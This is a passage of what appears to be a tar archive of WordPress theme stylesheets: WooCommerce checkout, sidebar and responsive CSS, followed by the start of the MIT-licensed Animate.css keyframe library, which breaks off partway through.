 	float: none;
 	font-size: 13px;
 	font-weight: 600;
 	letter-spacing: 1px;
 	border: 0;
 	background: #111;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 15px 30px;
 	color: #fff;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 }

 .woocommerce-checkout .woocommerce form.woocommerce-form-login input.button:hover,
 .woocommerce-checkout .woocommerce form.checkout_coupon input.button:hover,
 .woocommerce form.lost_reset_password input.button:hover,
 .woocommerce .return-to-shop .button:hover,
 .woocommerce #payment #place_order:hover{
 	background: #d7b79e;
 	color: #fff;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-billing-fields,
 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-additional-fields,
 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-account-fields{font-size: 14px;}

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-billing-fields h3,
 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-additional-fields h3{
 	font-size: 28px;
 	line-height: 1.285em;
 	font-weight: 500;
 	color: #111;
 	padding-bottom: 10px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-billing-fields input.input-text{
 	border-radius: 0;
 	font-size: 14px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-billing-fields select{
 	height: 38px !important;
 	font-size: 14px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-billing-fields .select2-container .select2-selection{
 	border-radius: 0;
 	height: 38px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-billing-fields .select2-container .select2-selection .select2-selection__rendered{
 	line-height: 38px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-billing-fields .select2-container .select2-selection .select2-selection__arrow{
 	height: 38px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce .woocommerce-additional-fields textarea{
 	height: 85px;
 	resize: vertical;
 	border-radius: 0;
 	font-size: 14px;
 	width: 100%;
 }

 #primary .page .entry-content #order_review_heading{
 	font-size: 28px;
 	line-height: 1.285em;
 	font-weight: 500;
 	color: #111;
 	padding: 25px;
 	border: 2px solid #e5e5e5;
 	border-bottom: 0;
 	margin: 30px 0 0;
 }

 .woocommerce-checkout-review-order{
 	border: 2px solid #e5e5e5;
 	border-top: 0;
 	padding: 0 25px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table{
 	border: 0;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table thead{
 	background: none;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table th{
 	padding: 0.8vw 0;
 	font-size: 14px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table td{
 	padding: 0.8vw 0;
 	font-size: 14px;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table tbody tr td .variation{
 	margin: 0;
 	font-size: 12px;
 	color: #b5b5b5;
 	text-transform: uppercase;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table tbody tr td .variation .variation-Size{
 	font-weight: 500;
 }

 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table .product-total,
 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table .order-total,
 .woocommerce-checkout #primary .page .entry-content .woocommerce-checkout-review-order .woocommerce-checkout-review-order-table tfoot td{
 	text-align: right;
 }

 #add_payment_method #payment,
 .woocommerce-cart #payment,
 .woocommerce-checkout #payment{
 	background: none;
 	font-size: 14px;
 }

 #add_payment_method #payment div.payment_box,
 .woocommerce-cart #payment div.payment_box,
 .woocommerce-checkout #payment div.payment_box{
 	background: none;
 	padding: 0;
 }

 #add_payment_method #payment div.payment_box:before,
 .woocommerce-cart #payment div.payment_box:before,
 .woocommerce-checkout #payment div.payment_box:before{
 	display: none;
 }

 #add_payment_method #payment ul.payment_methods,
 .woocommerce-cart #payment ul.payment_methods,
 .woocommerce-checkout #payment ul.payment_methods{padding: 0 !important;}

/*===============================
 Sidebar
 ===============================*/
/*.woocommerce #secondary .widget .widget-title{
	text-align: left;
	margin: 0 0 30px;
}

.woocommerce #secondary .widget .widget-title:after{
	-webkit-transform: translateX(0);
	-moz-transform: translateX(0);
	transform: translateX(0);
}

.woocommerce #secondary .widget .widget-title:after{left: 0;}*/

.woocommerce #secondary .widget ul{
	font-size: 14px;
}

.woocommerce #secondary .widget ul li{
	border-bottom: 0;
	padding: 0;
	margin: 0 0 10px;
}

.woocommerce #secondary .widget ul li:before{display: none;}

/*==============================
 Sidebar cart widget
 ==============================*/
 .woocommerce #secondary .widget_shopping_cart ul li{
 	padding: 0 0 10px 25px;
 	border-bottom: 1px solid #e5e5e5;
 	margin: 0 0 10px;
 	position: relative;
 }

 .woocommerce #secondary .widget_shopping_cart ul li .remove{
 	position: absolute;
 	top: 5px;
 	left: 0;
 	font-size: 0;
 	width: 14px;
 	height: 18px;
 }

 .woocommerce #secondary .widget_shopping_cart ul li .remove:hover{background: none;}

 .woocommerce #secondary .widget_shopping_cart ul li .remove:after{
 	position: absolute;
 	top: 0;
 	left: 0;
 	content: '';
 	background-image: url('data:image/svg+xml; utf-8, <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="%23e2401c" d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z"></path></svg>');
 	background-repeat: no-repeat;
 	width: 100%;
 	height: 100%;
 	color: #e2401c;
 	font-size: 0.8888em;
 }

 .woocommerce #secondary .widget_shopping_cart ul.product_list_widget li img{
 	width: 44px;
 	float: right;
 	margin-right: 0;
 	margin-left: 4px;
 }

 .woocommerce #secondary .widget_shopping_cart ul li a:not(.button){
 	font-weight: 400;
 }

 .woocommerce #secondary .widget_shopping_cart ul li .variation{
 	padding-left: 0;
 	border-left: 0;
 }

 .woocommerce #secondary .widget_shopping_cart ul li .variation dt{font-weight: 400;}

 .woocommerce #secondary .widget_shopping_cart ul li .variation dd{
 	margin: 0
 }

 .woocommerce #secondary .widget_shopping_cart .total{
 	border-top: 0;
 	padding-top: 0;
 	padding-bottom: 10px;
 	font-size: 14px;
 	border-bottom: 1px solid #e5e5e5;
 	text-align: center;
 }

 .woocommerce #secondary .widget_shopping_cart .total strong{
 	font-weight: 600;
 	color: #111;
 }

 .woocommerce #secondary .widget_shopping_cart .buttons .button{
 	display: block;
 	background: #111;
 	color: #fff;
 	text-align: center;
 	font-size: 13px;
 	font-weight: 600;
 	letter-spacing: 1px;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 12px 30px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 	position: relative;
 }

 .woocommerce #secondary .widget_shopping_cart .buttons .button:hover{
 	background: #d7b79e;
 	color: #fff;
 }

/*===================================
 Sidebar layered nav dropdown
 ===================================*/
 .woocommerce #secondary .woocommerce-widget-layered-nav .woocommerce-widget-layered-nav-dropdown ul li{
 	margin: 0 5px 5px;
 }

 .woocommerce #secondary .woocommerce-widget-layered-nav ul li input[type="text"]{
 	width: 100% !important;
 }

/*=============================
 Sidebar price filter
 ============================*/
 .woocommerce #secondary .widget_price_filter .ui-slider-horizontal{
 	height: 5px;
 	background: #eee;
 	margin-left: 0;
 	margin-right: 0;
 	border-radius: 0;
 	margin-bottom: 25px;
 }

 .woocommerce #secondary .widget_price_filter .ui-slider .ui-slider-handle{
 	background: #fff;
 	border: 0;
 	width: 20px;
 	height: 20px;
 	top: -8px;
 	border-radius: 50%;
 	box-shadow: 0 1px 10px rgba(0, 0, 0, 0.1);
 }

 .woocommerce #secondary .widget_price_filter .ui-slider .ui-slider-range{background: #f1d3d3;}

 .woocommerce #secondary .widget_price_filter .price_slider_amount .button{
 	font-size: 14px;
 	font-weight: 400;
 	letter-spacing: 1px;
 	color: #fff;
 	background: #111;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 12px 30px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 	position: relative;
 }

 .woocommerce #secondary .widget_price_filter .price_slider_amount .button:hover{
 	color: #fff;
 	background: #D7B79E;
 }

 .woocommerce #secondary .widget_price_filter .price_slider_amount .price_label{
 	font-size: 12px;
 	color: #999;
 	float: right;
 	margin-top: 7px;
 }

/*=================================
 Sidebar Tag cloud
 =================================*/
 .woocommerce #secondary .widget_product_tag_cloud .tagcloud{overflow: hidden;}

 .woocommerce #secondary .widget_product_tag_cloud .tagcloud a{
 	float: left;
 	margin: 0 6px 6px 0;
 	font-size: 12px !important;
 	line-height: 15px;
 	background: #eee;
 	color: #333;
 	padding: 10px 15px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 }

 .woocommerce #secondary .widget_product_tag_cloud .tagcloud a:hover{
 	text-decoration: none;
 	color: #fff;
 	background: #32b67a;
 }

/*===================================
 Widget rating filter
 ===================================*/
 .woocommerce .widget_rating_filter ul li .star-rating{
 	vertical-align: top;
 	margin-top: 7px;
 }


/*===================================
 Product list
 ===================================*/
 .woocommerce #secondary .widget .product_list_widget li img{
 	float: left;
 	width: 75px;
 	margin-left: 0;
 	margin-right: 15px;
 }

 .woocommerce #secondary .widget .product_list_widget li{margin: 0 0 20px;}

 .woocommerce #secondary .widget .product_list_widget li .product-title{
 	font-weight: 600;
 	color: #111;
 }

 .woocommerce #secondary .widget .product_list_widget li .product-title:hover{
 	color: #f1d3d3;
 }

 .woocommerce #secondary .widget .product_list_widget li .amount{
 	color: #b5b5b5;
 	font-weight: 500;
 }

 .woocommerce #secondary .widget .product_list_widget li ins,
 .woocommerce #secondary .widget .product_list_widget li ins .amount{
 	background: none;
 	color: #c12032;
 }

 .woocommerce #secondary .widget .product_list_widget li ins{margin-left: 10px;}

 .woocommerce #secondary .widget .product_list_widget li .star-rating{
 	margin: 0 0 5px;
 }

/*===========================================
 Sidebar product search form
 ==========================================*/
 .woocommerce #secondary .widget .woocommerce-product-search{
 	background: none;
 	border-radius: 0;
 	margin: 0 3px 0 0;
 	width: 100%;
 	padding: 0;
 	border: 1px solid #e5e5e5;
 }

 .woocommerce #secondary .widget .woocommerce-product-search:after{
 	content: '';
 	display: block;
 	clear: both;
 }

 .woocommerce #secondary .widget .woocommerce-product-search input[type="search"]{
 	background: none;
 	border: 0;
 	border-radius: 0;
 	float: left;
 	margin: 0;
 	padding: 12px 5px 11px 13px;
 	font-size: 14px;
 	width: calc(100% - 50px);
 	font-weight: 400;
 }

 .woocommerce #secondary .widget .woocommerce-product-search button[type="submit"]{
 	background: url(../../images/bg-search.png) no-repeat 50% 50%;
 	float: right;
 	text-indent: -9999px;
 	border: 0;
 	box-shadow: none;
 	border-radius: 0;
 	padding: 0;
 	width: 48px;
 	height: 48px;
 	margin: 0;
 }

 .woocommerce-cart .cart-collaterals .cross-sells .products{
 	grid-template-columns: repeat(1, 1fr);
 }

 .woocommerce .cart-collaterals .cross-sells ul.products li,
 .woocommerce-page .cart-collaterals .cross-sells ul.products li{
 	width: 100%;
 }

/*===================================
 Responsive
 ===================================*/
 @media only screen and (max-width: 1440px){
 	.woocommerce .products ul, .woocommerce ul.products{
 		grid-template-columns: repeat(3, 1fr);
 	}
 }

 @media screen and (max-width: 768px) {
	 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-thumbnail {
		width: 100%;
		display: block;
		text-align: center !important;
	}

	.woocommerce table.shop_table_responsive tr td.product-thumbnail::before, 
	.woocommerce-page table.shop_table_responsive tr td.product-thumbnail::before {
		display: none;
	}
 }


 @media only screen and (max-width: 767px){
 	#add_payment_method table.cart td.actions .coupon .input-text,
 	.woocommerce-cart table.cart td.actions .coupon .input-text,
 	.woocommerce-checkout table.cart td.actions .coupon .input-text{width: 48% !important;}

 	.woocommerce #respond input#submit,
 	.woocommerce a.button,
 	.woocommerce button.button,
 	.woocommerce input.button,
 	.woocommerce a.added_to_cart{
 		padding: 12px 10px;
 		font-size: 14px;
 	}

 	.woocommerce .col2-set .col-2,
 	.woocommerce-page .col2-set .col-2,
 	.woocommerce .col2-set .col-1,
 	.woocommerce-page .col2-set .col-1{width: 100%;}

 	.woocommerce #secondary{
 		width: 100%;
 		max-width: 100%;
 	}

 	.woocommerce .products ul,
 	.woocommerce ul.products{
 		grid-template-columns: repeat(2, 1fr);
 		grid-gap: 40px 10px;
 	}

 	.woocommerce .woocommerce-result-count,
 	.woocommerce-page .woocommerce-result-count,
 	.woocommerce .woocommerce-ordering,
 	.woocommerce-page .woocommerce-ordering{margin-bottom: 15px;}

 	.woocommerce .woocommerce-ordering select,
 	.woocommerce-page .woocommerce-ordering select{
 		text-align: left;
 	}

 	.woocommerce ul.products li.product .add_to_cart_button,
 	.woocommerce ul.products li.product .product_type_external{
 		padding: 12px 15px;
 		font-size: 12px;
 	}

 	.woocommerce .comment-form .comment-form-author,
 	.woocommerce .comment-form .comment-form-email{width: 100%;}

 	.woocommerce #reviews{
 		grid-template-columns: repeat(1, 1fr);
 	}

 	.woocommerce-cart #primary .page .entry-content table.shop_table td.actions .coupon{width: 100%;}
 }

 @media only screen and (max-width: 500px){
 	.woocommerce .products ul, .woocommerce ul.products{
 		grid-template-columns: repeat(1, 1fr);
	 }

	 .woocommerce .woocommerce-result-count,
 	.woocommerce-page .woocommerce-result-count {
		width: 100%;
	 }
	 
	 .woocommerce .woocommerce-ordering,
 	.woocommerce-page .woocommerce-ordering{float: left;}
 }
animate.css000060400000216505152435223340006704 0ustar00@charset "UTF-8";

/*!
Animate.css - http://daneden.me/animate
Licensed under the MIT license

Copyright (c) 2013 Daniel Eden

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

.animated {
  -webkit-animation-duration: 1s;
  animation-duration: 1s;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
}

.animated.infinite {
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
}

.animated.hinge {
  -webkit-animation-duration: 2s;
  animation-duration: 2s;
}

@-webkit-keyframes bounce {
  0%, 20%, 50%, 80%, 100% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  40% {
    -webkit-transform: translateY(-30px);
    transform: translateY(-30px);
  }

  60% {
    -webkit-transform: translateY(-15px);
    transform: translateY(-15px);
  }
}

@keyframes bounce {
  0%, 20%, 50%, 80%, 100% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  40% {
    -webkit-transform: translateY(-30px);
    -ms-transform: translateY(-30px);
    transform: translateY(-30px);
  }

  60% {
    -webkit-transform: translateY(-15px);
    -ms-transform: translateY(-15px);
    transform: translateY(-15px);
  }
}

.bounce {
  -webkit-animation-name: bounce;
  animation-name: bounce;
}

@-webkit-keyframes flash {
  0%, 50%, 100% {
    opacity: 1;
  }

  25%, 75% {
    opacity: 0;
  }
}

@keyframes flash {
  0%, 50%, 100% {
    opacity: 1;
  }

  25%, 75% {
    opacity: 0;
  }
}

.flash {
  -webkit-animation-name: flash;
  animation-name: flash;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */

@-webkit-keyframes pulse {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  50% {
    -webkit-transform: scale(1.1);
    transform: scale(1.1);
  }

  100% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

@keyframes pulse {
  0% {
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }

  50% {
    -webkit-transform: scale(1.1);
    -ms-transform: scale(1.1);
    transform: scale(1.1);
  }

  100% {
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }
}

.pulse {
  -webkit-animation-name: pulse;
  animation-name: pulse;
}

@-webkit-keyframes rubberBand {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  30% {
    -webkit-transform: scaleX(1.25) scaleY(0.75);
    transform: scaleX(1.25) scaleY(0.75);
  }

  40% {
    -webkit-transform: scaleX(0.75) scaleY(1.25);
    transform: scaleX(0.75) scaleY(1.25);
  }

  60% {
    -webkit-transform: scaleX(1.15) scaleY(0.85);
    transform: scaleX(1.15) scaleY(0.85);
  }

  100% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

@keyframes rubberBand {
  0% {
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }

  30% {
    -webkit-transform: scaleX(1.25) scaleY(0.75);
    -ms-transform: scaleX(1.25) scaleY(0.75);
    transform: scaleX(1.25) scaleY(0.75);
  }

  40% {
    -webkit-transform: scaleX(0.75) scaleY(1.25);
    -ms-transform: scaleX(0.75) scaleY(1.25);
    transform: scaleX(0.75) scaleY(1.25);
  }

  60% {
    -webkit-transform: scaleX(1.15) scaleY(0.85);
    -ms-transform: scaleX(1.15) scaleY(0.85);
    transform: scaleX(1.15) scaleY(0.85);
  }

  100% {
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }
}

.rubberBand {
  -webkit-animation-name: rubberBand;
  animation-name: rubberBand;
}

@-webkit-keyframes shake {
  0%, 100% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  10%, 30%, 50%, 70%, 90% {
    -webkit-transform: translateX(-10px);
    transform: translateX(-10px);
  }

  20%, 40%, 60%, 80% {
    -webkit-transform: translateX(10px);
    transform: translateX(10px);
  }
}

@keyframes shake {
  0%, 100% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  10%, 30%, 50%, 70%, 90% {
    -webkit-transform: translateX(-10px);
    -ms-transform: translateX(-10px);
    transform: translateX(-10px);
  }

  20%, 40%, 60%, 80% {
    -webkit-transform: translateX(10px);
    -ms-transform: translateX(10px);
    transform: translateX(10px);
  }
}

.shake {
  -webkit-animation-name: shake;
  animation-name: shake;
}

@-webkit-keyframes swing {
  20% {
    -webkit-transform: rotate(15deg);
    transform: rotate(15deg);
  }

  40% {
    -webkit-transform: rotate(-10deg);
    transform: rotate(-10deg);
  }

  60% {
    -webkit-transform: rotate(5deg);
    transform: rotate(5deg);
  }

  80% {
    -webkit-transform: rotate(-5deg);
    transform: rotate(-5deg);
  }

  100% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
}

@keyframes swing {
  20% {
    -webkit-transform: rotate(15deg);
    -ms-transform: rotate(15deg);
    transform: rotate(15deg);
  }

  40% {
    -webkit-transform: rotate(-10deg);
    -ms-transform: rotate(-10deg);
    transform: rotate(-10deg);
  }

  60% {
    -webkit-transform: rotate(5deg);
    -ms-transform: rotate(5deg);
    transform: rotate(5deg);
  }

  80% {
    -webkit-transform: rotate(-5deg);
    -ms-transform: rotate(-5deg);
    transform: rotate(-5deg);
  }

  100% {
    -webkit-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    transform: rotate(0deg);
  }
}

.swing {
  -webkit-transform-origin: top center;
  -ms-transform-origin: top center;
  transform-origin: top center;
  -webkit-animation-name: swing;
  animation-name: swing;
}

@-webkit-keyframes tada {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  10%, 20% {
    -webkit-transform: scale(0.9) rotate(-3deg);
    transform: scale(0.9) rotate(-3deg);
  }

  30%, 50%, 70%, 90% {
    -webkit-transform: scale(1.1) rotate(3deg);
    transform: scale(1.1) rotate(3deg);
  }

  40%, 60%, 80% {
    -webkit-transform: scale(1.1) rotate(-3deg);
    transform: scale(1.1) rotate(-3deg);
  }

  100% {
    -webkit-transform: scale(1) rotate(0);
    transform: scale(1) rotate(0);
  }
}

@keyframes tada {
  0% {
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }

  10%, 20% {
    -webkit-transform: scale(0.9) rotate(-3deg);
    -ms-transform: scale(0.9) rotate(-3deg);
    transform: scale(0.9) rotate(-3deg);
  }

  30%, 50%, 70%, 90% {
    -webkit-transform: scale(1.1) rotate(3deg);
    -ms-transform: scale(1.1) rotate(3deg);
    transform: scale(1.1) rotate(3deg);
  }

  40%, 60%, 80% {
    -webkit-transform: scale(1.1) rotate(-3deg);
    -ms-transform: scale(1.1) rotate(-3deg);
    transform: scale(1.1) rotate(-3deg);
  }

  100% {
    -webkit-transform: scale(1) rotate(0);
    -ms-transform: scale(1) rotate(0);
    transform: scale(1) rotate(0);
  }
}

.tada {
  -webkit-animation-name: tada;
  animation-name: tada;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */

@-webkit-keyframes wobble {
  0% {
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }

  15% {
    -webkit-transform: translateX(-25%) rotate(-5deg);
    transform: translateX(-25%) rotate(-5deg);
  }

  30% {
    -webkit-transform: translateX(20%) rotate(3deg);
    transform: translateX(20%) rotate(3deg);
  }

  45% {
    -webkit-transform: translateX(-15%) rotate(-3deg);
    transform: translateX(-15%) rotate(-3deg);
  }

  60% {
    -webkit-transform: translateX(10%) rotate(2deg);
    transform: translateX(10%) rotate(2deg);
  }

  75% {
    -webkit-transform: translateX(-5%) rotate(-1deg);
    transform: translateX(-5%) rotate(-1deg);
  }

  100% {
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }
}

@keyframes wobble {
  0% {
    -webkit-transform: translateX(0%);
    -ms-transform: translateX(0%);
    transform: translateX(0%);
  }

  15% {
    -webkit-transform: translateX(-25%) rotate(-5deg);
    -ms-transform: translateX(-25%) rotate(-5deg);
    transform: translateX(-25%) rotate(-5deg);
  }

  30% {
    -webkit-transform: translateX(20%) rotate(3deg);
    -ms-transform: translateX(20%) rotate(3deg);
    transform: translateX(20%) rotate(3deg);
  }

  45% {
    -webkit-transform: translateX(-15%) rotate(-3deg);
    -ms-transform: translateX(-15%) rotate(-3deg);
    transform: translateX(-15%) rotate(-3deg);
  }

  60% {
    -webkit-transform: translateX(10%) rotate(2deg);
    -ms-transform: translateX(10%) rotate(2deg);
    transform: translateX(10%) rotate(2deg);
  }

  75% {
    -webkit-transform: translateX(-5%) rotate(-1deg);
    -ms-transform: translateX(-5%) rotate(-1deg);
    transform: translateX(-5%) rotate(-1deg);
  }

  100% {
    -webkit-transform: translateX(0%);
    -ms-transform: translateX(0%);
    transform: translateX(0%);
  }
}

.wobble {
  -webkit-animation-name: wobble;
  animation-name: wobble;
}

@-webkit-keyframes bounceIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(.3);
    transform: scale(.3);
  }

  50% {
    opacity: 1;
    -webkit-transform: scale(1.05);
    transform: scale(1.05);
  }

  70% {
    -webkit-transform: scale(.9);
    transform: scale(.9);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

@keyframes bounceIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(.3);
    -ms-transform: scale(.3);
    transform: scale(.3);
  }

  50% {
    opacity: 1;
    -webkit-transform: scale(1.05);
    -ms-transform: scale(1.05);
    transform: scale(1.05);
  }

  70% {
    -webkit-transform: scale(.9);
    -ms-transform: scale(.9);
    transform: scale(.9);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }
}

.bounceIn {
  -webkit-animation-name: bounceIn;
  animation-name: bounceIn;
}

@-webkit-keyframes bounceInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateY(30px);
    transform: translateY(30px);
  }

  80% {
    -webkit-transform: translateY(-10px);
    transform: translateY(-10px);
  }

  100% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes bounceInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    -ms-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateY(30px);
    -ms-transform: translateY(30px);
    transform: translateY(30px);
  }

  80% {
    -webkit-transform: translateY(-10px);
    -ms-transform: translateY(-10px);
    transform: translateY(-10px);
  }

  100% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.bounceInDown {
  -webkit-animation-name: bounceInDown;
  animation-name: bounceInDown;
}

@-webkit-keyframes bounceInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateX(30px);
    transform: translateX(30px);
  }

  80% {
    -webkit-transform: translateX(-10px);
    transform: translateX(-10px);
  }

  100% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes bounceInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    -ms-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateX(30px);
    -ms-transform: translateX(30px);
    transform: translateX(30px);
  }

  80% {
    -webkit-transform: translateX(-10px);
    -ms-transform: translateX(-10px);
    transform: translateX(-10px);
  }

  100% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.bounceInLeft {
  -webkit-animation-name: bounceInLeft;
  animation-name: bounceInLeft;
}

@-webkit-keyframes bounceInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    transform: translateX(2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateX(-30px);
    transform: translateX(-30px);
  }

  80% {
    -webkit-transform: translateX(10px);
    transform: translateX(10px);
  }

  100% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes bounceInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    -ms-transform: translateX(2000px);
    transform: translateX(2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateX(-30px);
    -ms-transform: translateX(-30px);
    transform: translateX(-30px);
  }

  80% {
    -webkit-transform: translateX(10px);
    -ms-transform: translateX(10px);
    transform: translateX(10px);
  }

  100% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.bounceInRight {
  -webkit-animation-name: bounceInRight;
  animation-name: bounceInRight;
}

@-webkit-keyframes bounceInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    transform: translateY(2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateY(-30px);
    transform: translateY(-30px);
  }

  80% {
    -webkit-transform: translateY(10px);
    transform: translateY(10px);
  }

  100% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes bounceInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    -ms-transform: translateY(2000px);
    transform: translateY(2000px);
  }

  60% {
    opacity: 1;
    -webkit-transform: translateY(-30px);
    -ms-transform: translateY(-30px);
    transform: translateY(-30px);
  }

  80% {
    -webkit-transform: translateY(10px);
    -ms-transform: translateY(10px);
    transform: translateY(10px);
  }

  100% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.bounceInUp {
  -webkit-animation-name: bounceInUp;
  animation-name: bounceInUp;
}

@-webkit-keyframes bounceOut {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  25% {
    -webkit-transform: scale(.95);
    transform: scale(.95);
  }

  50% {
    opacity: 1;
    -webkit-transform: scale(1.1);
    transform: scale(1.1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.3);
    transform: scale(.3);
  }
}

@keyframes bounceOut {
  0% {
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }

  25% {
    -webkit-transform: scale(.95);
    -ms-transform: scale(.95);
    transform: scale(.95);
  }

  50% {
    opacity: 1;
    -webkit-transform: scale(1.1);
    -ms-transform: scale(1.1);
    transform: scale(1.1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.3);
    -ms-transform: scale(.3);
    transform: scale(.3);
  }
}

.bounceOut {
  -webkit-animation-name: bounceOut;
  animation-name: bounceOut;
}

@-webkit-keyframes bounceOutDown {
  0% {
